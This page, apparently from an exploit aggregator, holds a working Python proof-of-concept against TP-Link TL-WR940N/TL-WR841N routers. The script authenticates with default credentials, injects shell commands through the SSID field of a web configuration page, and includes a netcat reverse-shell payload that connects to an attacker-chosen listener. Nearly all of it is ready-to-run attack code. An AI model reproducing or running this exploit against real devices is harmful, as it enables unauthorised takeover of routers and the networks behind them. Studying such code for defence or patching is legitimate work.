4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / tplink.py PY
import requests
import argparse
import base64
import urllib
import time

class TPExploit:
    def __init__(self, target, username, password, lhost=None, lport=None):
        self.target = target
        self.auth = f"{username}:{password}"
        self.auth_header = f"Basic {base64.b64encode(self.auth.encode()).decode()}"
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Authorization': self.auth_header,
            'Referer': f'http://{self.target}/userRpm/WlanNetworkRpm.htm'
        })
        self.lhost = lhost
        self.lport = lport
        
    def get_random_path(self):
        """Try to get the random path used in newer firmware"""
        try:
            r = self.session.get(f"http://{self.target}/")
            if r.status_code == 200 and 'href="' in r.text:
                for line in r.text.split('\n'):
                    if 'href="' in line and 'userRpm' in line:
                        path = line.split('href="')[1].split('/userRpm')[0]
                        return path
        except:
            pass
        return None
        
    def test_vulnerability(self, command="reboot"):
        """Test if the router is vulnerable"""
        paths_to_try = [""]
        random_path = self.get_random_path()
        if random_path:
            paths_to_try.append(random_path)
            
        payloads = [
            f"TP-LINK_000012||{command}",
            f";{command};",
            f"a;{command}",
            f"a;{command};"
        ]
        
        for path in paths_to_try:
            for payload in payloads:
                try:
                    url = f"http://{self.target}/{path}/userRpm/WlanNetworkRpm.htm"
                    params = {
                        'ssid1': payload,
                        'ssid2': 'test',
                        'ssid3': 'test',
                        'ssid4': 'test',
                        'Save': 'Save'
                    }
                    r = self.session.get(url, params=params, timeout=5)
                    if r.status_code == 200:
                        print(f"[+] Possible success with payload: {payload}")
                        return True
                except requests.exceptions.RequestException:
                    print(f"[+] Router may have executed command: {payload}")
                    return True
        return False
        
    def get_shell(self):
        """Attempt to get a reverse shell"""
        if not self.lhost or not self.lport:
            print("[-] LHOST and LPORT required for reverse shell")
            return
            
        # Simple netcat reverse shell (may need to adjust based on router's available commands)
        reverse_shell_cmd = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {self.lhost} {self.lport} >/tmp/f"
        
        # URL encode the command
        encoded_cmd = urllib.parse.quote(reverse_shell_cmd)
        
        payload = f"a;{encoded_cmd};"
        
        print(f"[*] Trying to execute reverse shell to {self.lhost}:{self.lport}")
        
        try:
            path = self.get_random_path() or ""
            url = f"http://{self.target}/{path}/userRpm/WlanNetworkRpm.htm"
            params = {
                'ssid1': payload,
                'Save': 'Save'
            }
            # Don't wait for response since we're establishing a connection
            self.session.get(url, params=params, timeout=1)
        except:
            pass
            
        print("[*] Check your listener for a connection")

def main():
    parser = argparse.ArgumentParser(description="TP-Link TL-WR940N/TL-WR841N Exploit")
    parser.add_argument("-t", "--target", required=True, help="Target IP address")
    parser.add_argument("-u", "--username", default="admin", help="Router username")
    parser.add_argument("-p", "--password", default="admin", help="Router password")
    parser.add_argument("-c", "--command", help="Command to execute")
    parser.add_argument("--lhost", help="Listener IP for reverse shell")
    parser.add_argument("--lport", type=int, help="Listener port for reverse shell")
    
    args = parser.parse_args()
    
    exploit = TPExploit(args.target, args.username, args.password, args.lhost, args.lport)
    
    if args.command:
        print(f"[*] Executing command: {args.command}")
        exploit.test_vulnerability(args.command)
    elif args.lhost and args.lport:
        exploit.get_shell()
    else:
        print("[*] Testing for vulnerability (default command: reboot)")
        if exploit.test_vulnerability():
            print("[!] Router is vulnerable!")
        else:
            print("[-] Router does not appear to be vulnerable")

if __name__ == "__main__":
    main()